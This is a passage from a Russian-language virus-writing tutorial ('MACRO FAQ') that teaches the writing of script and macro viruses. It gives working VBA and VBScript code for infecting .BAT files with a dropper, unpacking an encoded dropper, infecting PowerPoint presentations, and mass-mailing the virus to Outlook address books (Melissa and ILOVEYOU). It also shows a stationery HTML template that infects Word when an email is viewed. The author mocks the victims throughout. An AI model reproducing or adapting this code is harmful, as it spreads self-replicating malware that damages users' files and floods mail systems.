fv.writeline "echo 90 >>cybers.dmp"

fv.writeline "echo w >>cybers.dmp"

fv.writeline "echo q >>cybers.dmp"

fv.writeline "debug <cybers.dmp >nul"

fv.writeline "argon.com"

fv.writeline "del cybers.dmp >nul"

fv.writeline "del argon.com >nul"

Do While fh.AtEndOfStream <> True

fv.WriteLine fh.ReadLine

Loop

fv.close

fh.close

fso.DeleteFile TempFile

end if

end if

Next

End Sub

--></script>

</BODY>

</HTML>

Этот пример находит все .BAT файлы в корневом каталоге диска C: и "заражает" их .COM файлом. При запуске "зараженного" .BAT файла будет выведен на экран небольшой видеоэффект. Как видно из исходника, очень неудобный, хотя и примитивный алгоритм. Кроме того, не очень действенный (вдруг на машине не окажется DEBUG?).

Второй способ требует большей мозговой активности, но и возможности у него больше. Дроппер хранится в текстовом виде, что-то типа UUE кодирования и расшифровывается сразу в файл-жертву. Преимущества налицо, не требуется дополнительных файлов, алгоритм немногим сложнее, открываются большие возможности для шифрования/полиморфизма/архивирования. Вот мой вариант процедуры распаковки, используется в вирусе THETHING:

Private Sub WriteDump(dropperPath)

On Error Resume Next

'При ошибке - иди дальше

Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule

'Указатель на текст вируса

checkit = "Dumpin"

'Часть строки поиска (всю указывать не стал, чтобы не возникали проблемы с лже-find'ом

i = 1: GetDump = 0

'Пошли счетчики

Do While i < AD.countoflines

'Пока есть строки

a = AD.lines(i, 1)

'Взять текущую строку

If Len(a) > Len(checkit) Then

For j = 1 To Len(a) - Len(checkit)

If Mid$(a, j, Len(checkit) + 1) = checkit + "g" Then GetDump = i + 1: i = AD.countoflines

'Поехали проверять (добавляем "g" дабы искать полную строку)

Next

End If

i = i + 1

Loop

dropperBody = ""

Do While Mid$(AD.lines(GetDump, 1), 1, 1) = "'"

'Пока не пустая строка (метка конца дроппера)

If Len(AD.lines(GetDump, 1)) > 2 Then

For i = 2 To Len(AD.lines(GetDump, 1)) Step 2

If Mid$(AD.lines(GetDump, 1), i, 1) <> " " Then

a1 = Asc(Mid$(AD.lines(GetDump, 1), i, 1)) - 33

b1 = Asc(Mid$(AD.lines(GetDump, 1), i + 1, 1)) - 33

'Используется примитивный алгоритм UUE кодирования

dropperBody = dropperBody + Chr$(a1 + 16 * b1)

End If

Next

End If

GetDump = GetDump + 1

Loop

Open dropperPath + "thething.com" For Output As #1

Print #1, dropperBody;

'Ну и записали куда надо :)

Close #1

End Sub

Private Sub Dumping()

'Туточки хранятся зашифрованные строки (Щас нету нифига :)

 

End Sub

 4.11. Power Point вирусы

Верная своим принципам - больше вирусов разных :) Microsoft и PowerPoint не обделила возможностью быть зараженным! Здесь правда есть одно но: если у Word'a есть Normal.dot у Excel XLStart, то у PowerPoint'a отсутствует автоматически исполняемая при старте презентация :( Посему заражение возможно либо "нерезидентным" способом, либо заразить все презентации одновременно загруженные вместе с зараженной. Кроме того, автоматический запуск вируса в презентации тоже та еще проблема :( Вот как все эти фичи обходит 1nternal в своем (первом в мире!) PPT.Attach:

'!--1nternal--

'PPT.Attach v0.1 /1nternal

Private Sub UserForm_Terminate()

'При закрытии ЮзерФормы

On Error Resume Next

Set Home = ActivePresentation

'Откель брать исходник вируса

Set fs = Application.FileSearch

'Поехал новых поиск

fs.NewSearch

fs.LookIn = "C:\My Documents"

'Ай-яй-яй как некорректно :) На русской версии облом...

fs.SearchSubFolders = True

'Но все ж глянем в подкаталогах

fs.FileName = "*.ppt"

'Ищем жертву :)

fs.Execute

For i = 1 To fs.FoundFiles.Count

'Во всех найденных файлах

If InStr(1, fs.FoundFiles(i), "~", 1) = 0 And fs.FoundFiles(i) <> Home.FullName Then

'Кроме источника

Set PVict = Presentations.Open(fs.FoundFiles(i))

'Вскрыли жертву

For j = 1 To PVict.VBProject.VBcomponents.Count

'Пошарились во всех модулях

If PVict.VBProject.VBcomponents(j).Type = 3 Then

'Хрен его знает, что за тип...

If PVict.VBProject.VBcomponents(j).Codemodule.Lines(1, 1) <> "'!--1nternal--" Then

'Это наш родственник?

PVict.VBProject.VBcomponents(j).Codemodule.InsertLines 1, Home.VBProject.VBcomponents(Name).Codemodule.Lines(1, 27)

'Нифига, так сделаем родственника!

PVict.Save

'Запишем все на место

End If

End If

Next

PVict.Close

'Ну и закроем нахрен

End If

Next

Set PVict = Nothing

End Sub

То есть в теории все как у Word и Excel с поправками на PowerPoint:

Источник вируса - ActivePresentation

Открыть презентацию - Presentations.Open ("Имя презентации") и так далее...

Но, презентации редко копируются с машины на машину, во-всяком случае намного реже документов Word и Excel. По-моему, единственная цель заражения PPT-шек, это использовать их как контейнер для хранения кроссплатформенных вирусов, т.е. заражая через команды SetObject и GetObject...

 4.12. Да здраствует E-MAIL!

А теперь, дорогие мои деточки :) я расскажу вам о самом быстром способе распространения script вирусов - via e-mail... К сожалению, заплатка на Outlook лишила нас этой возможности, но ведь всегда есть лохи, которые пока гром не грянет ...

Итак, что же это такое, e-mail вирусы? Как написал автор Melissa:

'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!

'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

Каким же образом эти маленькие script деточки заставили заработать мозги програмеров Microsoft? Самые известные из этих вирусов: фактически безвредная Melissa и злостный ILOVEYOU. И тот, и другой вирус вызвали, прежде всего, "передозировку" почты на почтовых серверах, а ILOVEYOU кроме всего, злобно килял кучу юзеровских файлов. Итак:

Нам нужно получить доступ к адресной книге пользователя (после установки заплатки, о таком обращении пользователь будет предупрежден). Вот как это сделано в Melissa:

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice

'Задали рабочие массивы

Set UngaDasOutlook = CreateObject("Outlook.Application")

'Дернули Outlook

Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")

'и получили доступ к адресам

[...]

If UngaDasOutlook = "Outlook" Then

'Если есть доступ к Outlook (а Outlook есть на машине :)

DasMapiName.Logon "profile", "password"

'Приконнектились

For y = 1 To DasMapiName.AddressLists.Count

'Поехали!!!

Set AddyBook = DasMapiName.AddressLists(y)

'Собственно адресная книга

x = 1

Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)

'Создали письмо

For oo = 1 To AddyBook.AddressEntries.Count

'По всем адресам

Peep = AddyBook.AddressEntries(x)

'Дернули адрес получателя

BreakUmOffASlice.Recipients.Add Peep

'Добавили его в наше письмо

x = x + 1

If x > 50 Then oo = AddyBook.AddressEntries.Count

'Не больше 50 писем (этого хватает :)

Next oo

BreakUmOffASlice.Subject = "Important Message From " & Application.UserName

'Добавили заголовок (вместе с именем отправителя, подлый однако вирус)

BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"

'Собственно письмо

BreakUmOffASlice.Attachments.Add ActiveDocument.FullName

'Добавим сюрпризом файл с вирусом (и еще какой-нибудь информацией)

BreakUmOffASlice.Send

'Ну и отправим нахрен

Peep = ""

Next y

DasMapiName.Logoff

'Усе!!!

End If

В ILOVEYOU несколько посложнее, но тем не менее:

sub spreadtoemail()

' процедура посылки писем

On Error Resume Next

dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad

set regedit=CreateObject("WScript.Shell")

set out=WScript.CreateObject("Outlook.Application")

'откроем Outlook

set mapi=out.GetNameSpace("MAPI")

'проверим, использует электронную почту вирус

for ctrlists=1 to mapi.AddressLists.Count

set a=mapi.AddressLists(ctrlists)

x=1

regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)

if (regv="") then

regv=1

end if

if (int(a.AddressEntries.Count)>int(regv)) then

for ctrentries=1 to a.AddressEntries.Count

malead=a.AddressEntries(x)

regad=""

regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&m

alead)

if (regad="") then

set male=out.CreateItem(0)

male.Recipients.Add(malead)

male.Subject = "ILOVEYOU"

male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."

male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

'засуним в месаг наш вирус

male.Send

' посылаем письмо

regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"

end if

x=x+1

next

regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count

else

regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count

end if

next

Set out=Nothing

Set mapi=Nothing

end sub

Вот и все! Куча пользователей получила письма с вирусом, и, запустив, благополучно отправили еще куче -=8-(= =)

Но и это еще не все!

Недостаток у этих вирусов виден на глаз: нужно запускать приаттаченный файл, а это что ни говори зряшная трата времени и сил пользователя :) Вирус должен быть как можно меньше заметен, собственно и запускаться-то он должен сам, независимо от пользователя :)

Как это сделать? Очень и очень просто! Вы конечно знаете, что Outlook Express позволяет задавать стиль письму (всякий плющ, с Днем Рождения и прочая мура), а никто не задавался вопросом, как это сделано? Достаточно изящно, к письму дописывается HTML файл с описанием стиля письма, так вот, поддержку скриптов туда тоже можно прописать! Вот как это реализовано в стиле ПЛЮЩ:

<html>

<head>

<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=windows-1251">

<style>

<!--

body,P.msoNormal, LI.msoNormal

{

background-position: top left;

background-repeat: repeat-y;

background-color: "#FFFFFD";

margin-left: 4em;

margin-top: 0em;

margin-bottom: 0em;

color: "#427D64";

font-size: 12pt;

font-weight: normal;

font-family: "Arial";

}

-->

</style>

</head>

<BODY background="Плющ.gif">

<script language="VBScript"><!--

msgbox "FUCK!!!"

On Error Resume Next

Set WordObj = CreateObject("Word.Application")

Set NT = WordObj.Templates(1).VBProject.VBComponents(1).Codemodule

WordObj.Options.SaveNormalPrompt = False

NT.insertlines 1, "Private Sub Document_Close()"

NT.insertlines 2, " MsgBox ""Ты инфектед :)"""

NT.insertlines 3, "End Sub"

WordObj.NormalTemplate.Save

WordObj.Quit

--></script>

</body>

</html>

Что же делает этот файл? Как только пользователь применил зараженный шаблон стиля к своему письму, письмо стало "взрывоопасным". Это значит, что как только пользователь захочет просмотреть свое письмо, вирус получит управление и заразит Word! Причем важно, чтобы его просматривали из Outlook Express.

Как узнать где хранятся эти стили чтобы быстренько их все заразить? А вот как:

<script language="VBScript"><!--

set wscr=CreateObject("WScript.Shell")

shitty=wscr.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Shared Tools\Stationery\Stationery Folder")

msgbox shitty

--></script>

Таким образом, юзеру не надо тратить время и нервы на запуск нашего вируса :) Один косяк, чаще всего в опциях по умолчанию стоит запрет запуска ActiveX приложений :(

5. Куда писать ругательства, по поводу всего этого?

Куда угодно! :)

А на e-mail cybershadow@mail.ru присылайте свои пожелания и вопросы, на которые вы хотели бы узнать ответ в следующей версии MACRO FAQ. Обновляться будет по мере поступления новых вопросов.

6. Благодарности

Как же это я сразу позабыл?!

Огромная куча благодарностей всем кто меня поддерживает!!!

Особо хотелось бы поблагодарить:

Duke за кучу исходников скриптовых вирусов.

Ultras за то, что читает сырцы моих вирусов :)

Классный сайт topdev.cjb.net за предоставленные исходники и интересные статьи